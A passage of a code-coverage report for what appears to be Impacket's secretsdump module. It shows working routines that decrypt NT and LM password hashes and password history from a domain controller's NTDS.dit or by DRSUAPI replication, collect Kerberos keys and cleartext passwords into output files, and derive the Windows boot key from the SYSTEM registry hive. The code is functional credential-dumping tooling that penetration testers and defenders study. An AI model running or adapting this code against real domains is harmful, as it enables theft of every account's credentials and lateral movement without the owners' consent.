2166 if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00': 2166 ↛ 2168line 2166 didn't jump to line 2168, because the condition on line 2166 was never true
2167 # Win2016 TP4 decryption is different
2168 encryptedNTHistory = self.CRYPTED_HASHW16(
2169 unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
2170 pekIndex = hexlify(encryptedNTHistory['Header'])
2171 tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
2172 encryptedNTHistory['EncryptedHash'],
2173 encryptedNTHistory['KeyMaterial'])
2174 else:
2175 tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
2177 for i in range(0, len(tmpNTHistory) // 16):
2178 NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
2179 NTHistory.append(NTHash)
2181 for i, (LMHash, NTHash) in enumerate(
2182 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
2183 if self.__noLMHash: 2183 ↛ 2186line 2183 didn't jump to line 2186, because the condition on line 2183 was never false
2184 lmhash = hexlify(ntlm.LMOWFv1('', ''))
2185 else:
2186 lmhash = hexlify(LMHash)
2188 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
2189 hexlify(NTHash).decode('utf-8'))
2190 if outputFile is not None: 2190 ↛ 2191line 2190 didn't jump to line 2191, because the condition on line 2190 was never true
2191 self.__writeOutput(outputFile, answer + '\n')
2192 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2193 else:
2194 replyVersion = 'V%d' %record['pdwOutVersion']
2195 LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2196 domain = None
2197 if self.__history: 2197 ↛ 2198line 2197 didn't jump to line 2198, because the condition on line 2197 was never true
2198 LMHistory = []
2199 NTHistory = []
2201 rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]
2203 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
2204 try:
2205 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
2206 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
2207 except Exception as e:
2208 LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
2209 LOG.debug('Exception', exc_info=True)
2210 # Fallbacking to fixed table and hope for the best
2211 attId = attr['attrTyp']
2212 LOOKUP_TABLE = self.NAME_TO_ATTRTYP
2214 if attId == LOOKUP_TABLE['dBCSPwd']:
2215 if attr['AttrVal']['valCount'] > 0: 2215 ↛ 2216line 2215 didn't jump to line 2216, because the condition on line 2215 was never true
2216 encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2217 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
2218 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
2219 else:
2220 LMHash = ntlm.LMOWFv1('', '')
2221 elif attId == LOOKUP_TABLE['unicodePwd']:
2222 if attr['AttrVal']['valCount'] > 0:
2223 encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2224 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
2225 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
2226 else:
2227 NTHash = ntlm.NTOWFv1('', '')
2228 elif attId == LOOKUP_TABLE['userPrincipalName']:
2229 if attr['AttrVal']['valCount'] > 0: 2229 ↛ 2235line 2229 didn't jump to line 2235, because the condition on line 2229 was never false
2230 try:
2231 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
2232 except:
2233 domain = None
2234 else:
2235 domain = None
2236 elif attId == LOOKUP_TABLE['sAMAccountName']:
2237 if attr['AttrVal']['valCount'] > 0: 2237 ↛ 2244line 2237 didn't jump to line 2244, because the condition on line 2237 was never false
2238 try:
2239 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
2240 except:
2241 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2242 userName = 'unknown'
2243 else:
2244 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2245 userName = 'unknown'
2246 elif attId == LOOKUP_TABLE['objectSid']:
2247 if attr['AttrVal']['valCount'] > 0: 2247 ↛ 2250line 2247 didn't jump to line 2250, because the condition on line 2247 was never false
2248 objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2249 else:
2250 LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2251 objectSid = rid
2252 elif attId == LOOKUP_TABLE['pwdLastSet']:
2253 if attr['AttrVal']['valCount'] > 0: 2253 ↛ 2268line 2253 didn't jump to line 2268, because the condition on line 2253 was never false
2254 try:
2255 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
2256 except:
2257 LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2258 pwdLastSet = 'N/A'
2259 elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']: 2259 ↛ 2260line 2259 didn't jump to line 2260, because the condition on line 2259 was never true
2260 if attr['AttrVal']['valCount'] > 0:
2261 if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:
2262 userAccountStatus = 'Disabled'
2263 else:
2264 userAccountStatus = 'Enabled'
2265 else:
2266 userAccountStatus = 'N/A'
2268 if self.__history: 2268 ↛ 2269line 2268 didn't jump to line 2269, because the condition on line 2268 was never true
2269 if attId == LOOKUP_TABLE['lmPwdHistory']:
2270 if attr['AttrVal']['valCount'] > 0:
2271 encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2272 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
2273 for i in range(0, len(tmpLMHistory) // 16):
2274 LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
2275 LMHistory.append(LMHashHistory)
2276 else:
2277 LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2278 elif attId == LOOKUP_TABLE['ntPwdHistory']:
2279 if attr['AttrVal']['valCount'] > 0:
2280 encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2281 tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
2282 for i in range(0, len(tmpNTHistory) // 16):
2283 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
2284 NTHistory.append(NTHashHistory)
2285 else:
2286 LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2288 if domain is not None:
2289 userName = '%s\\%s' % (domain, userName)
2291 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
2292 if self.__pwdLastSet is True: 2292 ↛ 2293line 2292 didn't jump to line 2293, because the condition on line 2292 was never true
2293 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
2294 if self.__printUserStatus is True: 2294 ↛ 2295line 2294 didn't jump to line 2295, because the condition on line 2294 was never true
2295 answer = "%s (status=%s)" % (answer, userAccountStatus)
2296 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2298 if outputFile is not None: 2298 ↛ 2299line 2298 didn't jump to line 2299, because the condition on line 2298 was never true
2299 self.__writeOutput(outputFile, answer + '\n')
2301 if self.__history: 2301 ↛ 2302line 2301 didn't jump to line 2302, because the condition on line 2301 was never true
2302 for i, (LMHashHistory, NTHashHistory) in enumerate(
2303 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
2304 if self.__noLMHash:
2305 lmhash = hexlify(ntlm.LMOWFv1('', ''))
2306 else:
2307 lmhash = hexlify(LMHashHistory)
2309 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
2310 hexlify(NTHashHistory).decode('utf-8'))
2311 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2312 if outputFile is not None:
2313 self.__writeOutput(outputFile, answer + '\n')
2315 if outputFile is not None: 2315 ↛ 2316line 2315 didn't jump to line 2316, because the condition on line 2315 was never true
2316 outputFile.flush()
2318 LOG.debug('Leaving NTDSHashes.__decryptHash')
2320 def dump(self):
2321 hashesOutputFile = None
2322 keysOutputFile = None
2323 clearTextOutputFile = None
2325 if self.__useVSSMethod is True:
2326 if self.__NTDS is None: 2326 ↛ 2328line 2326 didn't jump to line 2328, because the condition on line 2326 was never true
2327 # No NTDS.dit file provided and were asked to use VSS
2328 return
2329 else:
2330 if self.__NTDS is None: 2330 ↛ 2351line 2330 didn't jump to line 2351, because the condition on line 2330 was never false
2331 # DRSUAPI method, checking whether target is a DC
2332 try:
2333 if self.__remoteOps is not None: 2333 ↛ 2345line 2333 didn't jump to line 2345, because the condition on line 2333 was never false
2334 try:
2335 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
2336 except:
2337 if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:
2338 # RemoteOperations failed. That might be because there was no way to log into the
2339 # target system. We just have a last resort. Hope we have tickets cached and that they
2340 # will work
2341 pass
2342 else:
2343 raise
2344 else:
2345 raise Exception('No remote Operations available')
2346 except Exception as e:
2347 LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
2348 # Target's not a DC
2349 return
2351 try:
2352 # Let's check if we need to save results in a file
2353 if self.__outputFileName is not None: 2353 ↛ 2354line 2353 didn't jump to line 2354, because the condition on line 2353 was never true
2354 LOG.debug('Saving output to %s' % self.__outputFileName)
2355 # We have to export. Are we resuming a session?
2356 if self.__resumeSession.hasResumeData():
2357 mode = 'a+'
2358 else:
2359 mode = 'w+'
2360 hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)
2361 if self.__justNTLM is False:
2362 keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)
2363 clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)
2365 LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
2366 if self.__useVSSMethod:
2367 # We start getting rows from the table aiming at reaching
2368 # the pekList. If we find users records we stored them
2369 # in a temp list for later process.
2370 self.__getPek()
2371 if self.__PEK is not None: 2371 ↛ 2538line 2371 didn't jump to line 2538, because the condition on line 2371 was never false
2372 LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
2373 # First of all, if we have users already cached, let's decrypt their hashes
2374 for record in self.__tmpUsers: 2374 ↛ 2375line 2374 didn't jump to line 2375, because the loop on line 2374 never started
2375 try:
2376 self.__decryptHash(record, outputFile=hashesOutputFile)
2377 if self.__justNTLM is False:
2378 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
2379 except Exception as e:
2380 LOG.debug('Exception', exc_info=True)
2381 try:
2382 LOG.error(
2383 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
2384 LOG.error(str(e))
2385 pass
2386 except:
2387 LOG.error("Error while processing row!")
2388 LOG.error(str(e))
2389 pass
2391 # Now let's keep moving through the NTDS file and decrypting what we find
2392 while True:
2393 try:
2394 record = self.__ESEDB.getNextRow(self.__cursor)
2395 except:
2396 LOG.error('Error while calling getNextRow(), trying the next one')
2397 continue
2399 if record is None:
2400 break
2401 try:
2402 if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
2403 self.__decryptHash(record, outputFile=hashesOutputFile)
2404 if self.__justNTLM is False: 2404 ↛ 2393line 2404 didn't jump to line 2393, because the condition on line 2404 was never false
2405 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
2406 except Exception as e:
2407 LOG.debug('Exception', exc_info=True)
2408 try:
2409 LOG.error(
2410 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
2411 LOG.error(str(e))
2412 pass
2413 except:
2414 LOG.error("Error while processing row!")
2415 LOG.error(str(e))
2416 pass
2417 else:
2418 LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
2419 status = STATUS_MORE_ENTRIES
2420 enumerationContext = 0
2422 # Do we have to resume from a previously saved session?
2423 if self.__resumeSession.hasResumeData(): 2423 ↛ 2424line 2423 didn't jump to line 2424, because the condition on line 2423 was never true
2424 resumeSid = self.__resumeSession.getResumeData()
2425 LOG.info('Resuming from SID %s, be patient' % resumeSid)
2426 else:
2427 resumeSid = None
2428 # We do not create a resume file when asking for a single user
2429 if self.__justUser is None:
2430 self.__resumeSession.beginTransaction()
2432 if self.__justUser is not None:
2433 # Depending on the input received, we need to change the formatOffered before calling
2434 # DRSCrackNames.
2435 # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE
2436 # That's because we don't specify the domain for the user (and there might be duplicates)
2437 # Always remember that if you specify a domain, you should specify the NetBIOS domain name,
2438 # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.
2439 if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0: 2439 ↛ 2443line 2439 didn't jump to line 2443, because the condition on line 2439 was never false
2440 self.__justUser = self.__justUser.replace('/','\\')
2441 formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
2442 else:
2443 formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
2445 crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
2446 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
2447 name=self.__justUser)
2449 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2449 ↛ 2460line 2449 didn't jump to line 2460, because the condition on line 2449 was never false
2450 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2450 ↛ 2451line 2450 didn't jump to line 2451, because the condition on line 2450 was never true
2451 raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
2452 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
2454 userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
2455 #userRecord.dump()
2456 replyVersion = 'V%d' % userRecord['pdwOutVersion']
2457 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2457 ↛ 2458line 2457 didn't jump to line 2458, because the condition on line 2457 was never true
2458 raise Exception('DRSGetNCChanges didn\'t return any object!')
2459 else:
2460 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
2461 crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
2462 try:
2463 self.__decryptHash(userRecord,
2464 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
2465 hashesOutputFile)
2466 if self.__justNTLM is False: 2466 ↛ 2535line 2466 didn't jump to line 2535, because the condition on line 2466 was never false
2467 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
2468 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
2470 except Exception as e:
2471 LOG.error("Error while processing user!")
2472 LOG.debug("Exception", exc_info=True)
2473 LOG.error(str(e))
2474 else:
2475 while status == STATUS_MORE_ENTRIES:
2476 resp = self.__remoteOps.getDomainUsers(enumerationContext)
2478 for user in resp['Buffer']['Buffer']:
2479 userName = user['Name']
2481 userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId'])
2482 if resumeSid is not None: 2482 ↛ 2484line 2482 didn't jump to line 2484, because the condition on line 2482 was never true
2483 # Means we're looking for a SID before start processing back again
2484 if resumeSid == userSid:
2485 # Match!, next round we will back processing
2486 LOG.debug('resumeSid %s reached! processing users from now on' % userSid)
2487 resumeSid = None
2488 else:
2489 LOG.debug('Skipping SID %s since it was processed already' % userSid)
2490 continue
2492 # Let's crack the user sid into DS_FQDN_1779_NAME
2493 # In theory I shouldn't need to crack the sid. Instead
2494 # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
2495 # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
2496 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
2497 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
2498 name=userSid)
2500 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2500 ↛ 2512line 2500 didn't jump to line 2512, because the condition on line 2500 was never false
2501 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2501 ↛ 2502line 2501 didn't jump to line 2502, because the condition on line 2501 was never true
2502 LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
2503 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
2504 break
2505 userRecord = self.__remoteOps.DRSGetNCChanges(
2506 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
2507 # userRecord.dump()
2508 replyVersion = 'V%d' % userRecord['pdwOutVersion']
2509 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2509 ↛ 2510line 2509 didn't jump to line 2510, because the condition on line 2509 was never true
2510 raise Exception('DRSGetNCChanges didn\'t return any object!')
2511 else:
2512 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
2513 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
2514 try:
2515 self.__decryptHash(userRecord,
2516 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
2517 hashesOutputFile)
2518 if self.__justNTLM is False: 2518 ↛ 2528line 2518 didn't jump to line 2528, because the condition on line 2518 was never false
2519 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
2520 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
2522 except Exception as e:
2523 LOG.error("Error while processing user!")
2524 LOG.debug("Exception", exc_info=True)
2525 LOG.error(str(e))
2527 # Saving the session state
2528 self.__resumeSession.writeResumeData(userSid)
2530 enumerationContext = resp['EnumerationContext']
2531 status = resp['ErrorCode']
2533 # Everything went well and we covered all the users
2534 # Let's remove the resume file is we had created it
2535 if self.__justUser is None:
2536 self.__resumeSession.clearResumeData()
2538 LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
2539 # Now we'll print the Kerberos keys. So we don't mix things up in the output.
2540 if len(self.__kerberosKeys) > 0: 2540 ↛ 2550line 2540 didn't jump to line 2550, because the condition on line 2540 was never false
2541 if self.__useVSSMethod is True:
2542 LOG.info('Kerberos keys from %s ' % self.__NTDS)
2543 else:
2544 LOG.info('Kerberos keys grabbed')
2546 for itemKey in list(self.__kerberosKeys.keys()):
2547 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)
2549 # And finally the cleartext pwds
2550 if len(self.__clearTextPwds) > 0: 2550 ↛ 2551line 2550 didn't jump to line 2551, because the condition on line 2550 was never true
2551 if self.__useVSSMethod is True:
2552 LOG.info('ClearText password from %s ' % self.__NTDS)
2553 else:
2554 LOG.info('ClearText passwords grabbed')
2556 for itemKey in list(self.__clearTextPwds.keys()):
2557 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
2558 finally:
2559 # Resources cleanup
2560 if hashesOutputFile is not None: 2560 ↛ 2561line 2560 didn't jump to line 2561, because the condition on line 2560 was never true
2561 hashesOutputFile.close()
2563 if keysOutputFile is not None: 2563 ↛ 2564line 2563 didn't jump to line 2564, because the condition on line 2563 was never true
2564 keysOutputFile.close()
2566 if clearTextOutputFile is not None: 2566 ↛ 2567line 2566 didn't jump to line 2567, because the condition on line 2566 was never true
2567 clearTextOutputFile.close()
2569 self.__resumeSession.endTransaction()
2571 @classmethod
2572 def __writeOutput(cls, fd, data):
2573 try:
2574 fd.write(data)
2575 except Exception as e:
2576 LOG.error("Error writing entry, skipping (%s)" % str(e))
2577 pass
2579 def finish(self):
2580 if self.__NTDS is not None:
2581 self.__ESEDB.close()
2583class LocalOperations:
2584 def __init__(self, systemHive):
2585 self.__systemHive = systemHive
2587 def getBootKey(self):
2588 # Local Version whenever we are given the files directly
2589 bootKey = b''
2590 tmpKey = b''
2591 winreg = winregistry.Registry(self.__systemHive, False)
2592 # We gotta find out the Current Control Set
2593 currentControlSet = winreg.getValue('\\Select\\Current')[1]
2594 currentControlSet = "ControlSet%03d" % currentControlSet
2595 for key in ['JD', 'Skew1', 'GBG', 'Data']:
2596 LOG.debug('Retrieving class info for %s' % key)
2597 ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
2598 digit = ans[:16].decode('utf-16le')
2599 tmpKey = tmpKey + b(digit)
2601 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
2603 tmpKey = unhexlify(tmpKey)
2605 for i in range(len(tmpKey)):
2606 bootKey += tmpKey[transforms[i]:transforms[i] + 1]
2608 LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))
2610 return bootKey
2613 def checkNoLMHashPolicy(self):
2614 LOG.debug('Checking NoLMHash Policy')
2615 winreg = winregistry.Registry(self.__systemHive, False)
2616 # We gotta find out the Current Control Set
2617 currentControlSet = winreg.getValue('\\Select\\Current')[1]
2618 currentControlSet = "ControlSet%03d" % currentControlSet
2620 # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
2621 noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
2622 if noLmHash is not None:
2623 noLmHash = noLmHash[1]
2624 else:
2625 noLmHash = 0
2627 if noLmHash != 1:
2628 LOG.debug('LMHashes are being stored')
2629 return False
2630 LOG.debug('LMHashes are NOT being stored')
2631 return True
2633def _print_helper(*args, **kwargs):
2634 print(args[-1])